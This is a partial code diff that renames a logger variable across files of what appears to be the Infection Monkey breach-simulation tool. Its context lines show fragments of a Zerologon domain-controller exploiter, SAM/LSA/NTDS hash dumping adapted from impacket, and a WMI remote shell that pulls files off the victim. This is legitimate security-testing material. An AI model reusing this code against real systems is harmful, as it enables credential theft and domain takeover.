raise Exception("Couldn't extract original DC password's NT hash.")
|
||||
|
@ -180,11 +180,11 @@ class ZerologonExploiter(HostExploiter):
|
|||
try:
|
||||
rpc_con = ZerologonExploiter.connect_to_dc(self.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
logger.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return False
|
||||
|
||||
# Start restoration attempts.
|
||||
LOG.debug("Attempting password restoration.")
|
||||
logger.debug("Attempting password restoration.")
|
||||
_restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash)
|
||||
if not _restored:
|
||||
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||
|
@ -192,7 +192,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
return _restored
|
||||
|
||||
except Exception as e:
|
||||
LOG.error(e)
|
||||
logger.error(e)
|
||||
return False
|
||||
|
||||
finally:
|
||||
|
@ -229,7 +229,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
return creds_to_use_for_getting_original_pwd_hashes
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
f"Exception occurred while dumping secrets to get some username and its "
|
||||
f"password's NT hash: {str(e)}"
|
||||
)
|
||||
|
@ -319,7 +319,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
return nthash
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
f"Exception occurred while dumping secrets to get original DC password's NT "
|
||||
f"hash: {str(e)}"
|
||||
)
|
||||
|
@ -328,7 +328,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
self.remove_locally_saved_HKLM_keys()
|
||||
|
||||
def save_HKLM_keys_locally(self, username: str, user_pwd_hashes: List[str]) -> bool:
|
||||
LOG.info(
|
||||
logger.info(
|
||||
f"Starting remote shell on victim with credentials:\n"
|
||||
f"user: {username}\n"
|
||||
f"hashes (SHA-512): {self._config.hash_sensitive_data(user_pwd_hashes[0])} : "
|
||||
|
@ -368,11 +368,11 @@ class ZerologonExploiter(HostExploiter):
|
|||
return True
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occured: {str(e)}")
|
||||
logger.info(f"Exception occured: {str(e)}")
|
||||
|
||||
finally:
|
||||
info = output_captor.get_captured_stdout_output()
|
||||
LOG.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
logger.debug(f"Getting victim HKLM keys via remote shell: {info}")
|
||||
|
||||
else:
|
||||
raise Exception("Could not start remote shell on DC.")
|
||||
|
@ -385,7 +385,7 @@ class ZerologonExploiter(HostExploiter):
|
|||
try:
|
||||
os.remove(path)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||
logger.info(f"Exception occurred while removing file {path} from system: {str(e)}")
|
||||
|
||||
def _send_restoration_rpc_login_requests(self, rpc_con, original_pwd_nthash) -> bool:
|
||||
for _ in range(0, self.MAX_ATTEMPTS):
|
||||
|
@ -407,9 +407,9 @@ class ZerologonExploiter(HostExploiter):
|
|||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||
# Otherwise, the attack is probably not working.
|
||||
if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED:
|
||||
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
logger.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||
except BaseException as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
logger.info(f"Unexpected error: {e}")
|
||||
|
||||
return False
|
||||
|
||||
|
@ -459,13 +459,13 @@ class ZerologonExploiter(HostExploiter):
|
|||
rpc_con.request(request)
|
||||
|
||||
except Exception as e:
|
||||
LOG.info(f"Unexpected error: {e}")
|
||||
logger.info(f"Unexpected error: {e}")
|
||||
|
||||
return rpc_con
|
||||
|
||||
def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool:
|
||||
if restoration_attempt_result:
|
||||
LOG.debug("DC machine account password should be restored to its original value.")
|
||||
logger.debug("DC machine account password should be restored to its original value.")
|
||||
return True
|
||||
|
||||
return False
|
||||
|
|
|
@ -58,7 +58,7 @@ from impacket.smbconnection import SMBConnection
|
|||
|
||||
from infection_monkey.utils.capture_output import StdoutCapture
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
|
||||
|
@ -137,7 +137,7 @@ class DumpSecrets:
|
|||
# target system. We just have a last resort. Hope we have tickets
|
||||
# cached and that they
|
||||
# will work
|
||||
LOG.debug(
|
||||
logger.debug(
|
||||
"SMBConnection didn't work, hoping Kerberos will help (%s)"
|
||||
% str(e)
|
||||
)
|
||||
|
@ -168,12 +168,12 @@ class DumpSecrets:
|
|||
# something different to Off.
|
||||
# This will prevent establishing SMB connections using TGS for SPNs
|
||||
# different to cifs/.
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Policy SPN target name validation might be restricting full "
|
||||
"DRSUAPI dump." + "Try -just-dc-user"
|
||||
)
|
||||
else:
|
||||
LOG.error("RemoteOperations failed: %s" % str(e))
|
||||
logger.error("RemoteOperations failed: %s" % str(e))
|
||||
|
||||
# If RemoteOperations succeeded, then we can extract SAM and LSA.
|
||||
if (
|
||||
|
@ -192,7 +192,7 @@ class DumpSecrets:
|
|||
)
|
||||
self.__SAM_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.error("SAM hashes extraction failed: %s" % str(e))
|
||||
logger.error("SAM hashes extraction failed: %s" % str(e))
|
||||
|
||||
try:
|
||||
if self.__is_remote is True:
|
||||
|
@ -209,8 +209,8 @@ class DumpSecrets:
|
|||
self.__LSA_secrets.dumpCachedHashes()
|
||||
self.__LSA_secrets.dumpSecrets()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error("LSA hashes extraction failed: %s" % str(e))
|
||||
logger.debug(traceback.print_exc())
|
||||
logger.error("LSA hashes extraction failed: %s" % str(e))
|
||||
|
||||
# NTDS Extraction we can try regardless of RemoteOperations failing. It might
|
||||
# still work.
|
||||
|
@ -234,7 +234,7 @@ class DumpSecrets:
|
|||
try:
|
||||
self.__NTDS_hashes.dump()
|
||||
except Exception as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
logger.debug(traceback.print_exc())
|
||||
if str(e).find("ERROR_DS_DRA_BAD_DN") >= 0:
|
||||
# We don't store the resume file if this error happened, since this error
|
||||
# is related to lack
|
||||
|
@ -242,16 +242,16 @@ class DumpSecrets:
|
|||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
if resume_file is not None:
|
||||
os.unlink(resume_file)
|
||||
LOG.error(e)
|
||||
logger.error(e)
|
||||
if self.__use_VSS_method is False:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Something wen't wrong with the DRSUAPI approach. Try again with "
|
||||
"-use-vss parameter"
|
||||
)
|
||||
self.cleanup()
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.debug(traceback.print_exc())
|
||||
LOG.error(e)
|
||||
logger.debug(traceback.print_exc())
|
||||
logger.error(e)
|
||||
if self.__NTDS_hashes is not None:
|
||||
if isinstance(e, KeyboardInterrupt):
|
||||
resume_file = self.__NTDS_hashes.getResumeSessionFile()
|
||||
|
@ -268,7 +268,7 @@ class DumpSecrets:
|
|||
return dumped_secrets
|
||||
|
||||
def cleanup(self):
|
||||
LOG.debug("Cleaning up...")
|
||||
logger.debug("Cleaning up...")
|
||||
if self.__remote_ops:
|
||||
self.__remote_ops.finish()
|
||||
if self.__SAM_hashes:
|
||||
|
|
|
@ -50,7 +50,7 @@ import os
|
|||
import sys
|
||||
import time
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
|
@ -86,11 +86,11 @@ class RemoteShell(cmd.Cmd):
|
|||
filename = ntpath.basename(tail)
|
||||
local_file_path = os.path.join(self.__secrets_dir.name, "monkey-" + filename)
|
||||
fh = open(local_file_path, "wb")
|
||||
LOG.info("Downloading %s\\%s" % (drive, tail))
|
||||
logger.info("Downloading %s\\%s" % (drive, tail))
|
||||
self.__transferClient.getFile(drive[:-1] + "$", tail, fh.write)
|
||||
fh.close()
|
||||
except Exception as e:
|
||||
LOG.error(str(e))
|
||||
logger.error(str(e))
|
||||
if os.path.exists(local_file_path):
|
||||
os.remove(local_file_path)
|
||||
|
||||
|
@ -134,7 +134,7 @@ class RemoteShell(cmd.Cmd):
|
|||
try:
|
||||
self.__outputBuffer += data.decode(self.CODEC)
|
||||
except UnicodeDecodeError:
|
||||
LOG.error(
|
||||
logger.error(
|
||||
"Decoding error detected, consider running chcp.com at the target,"
|
||||
"\nmap the result with "
|
||||
"https://docs.python.org/3/library/codecs.html#standard-encodings\nand "
|
||||
|
@ -157,7 +157,7 @@ class RemoteShell(cmd.Cmd):
|
|||
time.sleep(1)
|
||||
elif str(e).find("Broken") >= 0:
|
||||
# The SMB Connection might have timed out, let's try reconnecting.
|
||||
LOG.debug("Connection broken, trying to recreate it")
|
||||
logger.debug("Connection broken, trying to recreate it")
|
||||
self.__transferClient.reconnect()
|
||||
return self.get_output()
|
||||
self.__transferClient.deleteFile(self.__share, self.__output)
|
||||
|
|
|
@ -7,7 +7,7 @@ from impacket.dcerpc.v5 import nrpc, rpcrt
|
|||
from common.common_consts.timeouts import MEDIUM_REQUEST_TIMEOUT
|
||||
from common.utils.exceptions import DomainControllerNameFetchError
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def get_dc_details(host: object) -> (str, str, str):
|
||||
|
@ -39,7 +39,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v
|
|||
try:
|
||||
rpc_con = zerologon_exploiter_object.connect_to_dc(zerologon_exploiter_object.dc_ip)
|
||||
except Exception as e:
|
||||
LOG.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
logger.info(f"Exception occurred while connecting to DC: {str(e)}")
|
||||
return False, None
|
||||
|
||||
# Try authenticating.
|
||||
|
@ -49,7 +49,7 @@ def is_exploitable(zerologon_exploiter_object) -> (bool, Optional[rpcrt.DCERPC_v
|
|||
if rpc_con_auth_result is not None:
|
||||
return True, rpc_con_auth_result
|
||||
except Exception as ex:
|
||||
LOG.info(ex)
|
||||
logger.info(ex)
|
||||
return False, None
|
||||
|
||||
return False, None
|
||||
|
|
|
@ -53,7 +53,7 @@ from impacket.smbconnection import SMBConnection
|
|||
|
||||
from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py
|
||||
|
@ -102,7 +102,7 @@ class Wmiexec:
|
|||
iWbemLevel1Login.RemRelease()
|
||||
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
LOG.error(str(e))
|
||||
logger.error(str(e))
|
||||
self.smbConnection.logoff()
|
||||
self.dcom.disconnect()
|
||||
|
||||
|
|
|
@ -18,7 +18,7 @@ from infection_monkey.model import DROPPER_ARG, MONKEY_ARG
|
|||
from infection_monkey.monkey import InfectionMonkey
|
||||
from infection_monkey.utils.monkey_log_path import get_dropper_log_path, get_monkey_log_path
|
||||
|
||||
LOG = None
|
||||
logger = None
|
||||
|
||||
LOG_CONFIG = {
|
||||
"version": 1,
|
||||
|
@ -43,7 +43,7 @@ LOG_CONFIG = {
|
|||
|
||||
|
||||
def main():
|
||||
global LOG
|
||||
global logger
|
||||
|
||||
if 2 > len(sys.argv):
|
||||
return True
|
||||
|
@ -116,19 +116,19 @@ def main():
|
|||
del LOG_CONFIG["handlers"]["file"]
|
||||
|
||||
logging.config.dictConfig(LOG_CONFIG)
|
||||
LOG = logging.getLogger()
|
||||
logger = logging.getLogger()
|
||||
|
||||
def log_uncaught_exceptions(ex_cls, ex, tb):
|
||||
LOG.critical("".join(traceback.format_tb(tb)))
|
||||
LOG.critical("{0}: {1}".format(ex_cls, ex))
|
||||
logger.critical("".join(traceback.format_tb(tb)))
|
||||
logger.critical("{0}: {1}".format(ex_cls, ex))
|
||||
|
||||
sys.excepthook = log_uncaught_exceptions
|
||||
|
||||
LOG.info(
|
||||
logger.info(
|
||||
">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<", monkey_cls.__name__, os.getpid()
|
||||
)
|
||||
|
||||
LOG.info(f"version: {get_version()}")
|
||||
logger.info(f"version: {get_version()}")
|
||||
|
||||
monkey = monkey_cls(monkey_args)
|
||||
monkey.initialize()
|
||||
|
@ -150,7 +150,7 @@ def main():
|
|||
|
||||
return True
|
||||
except Exception as e:
|
||||
LOG.exception("Exception thrown from monkey's start function. More info: {}".format(e))
|
||||
logger.exception("Exception thrown from monkey's start function. More info: {}".format(e))
|
||||
finally:
|
||||
monkey.cleanup()
|
||||
|
||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue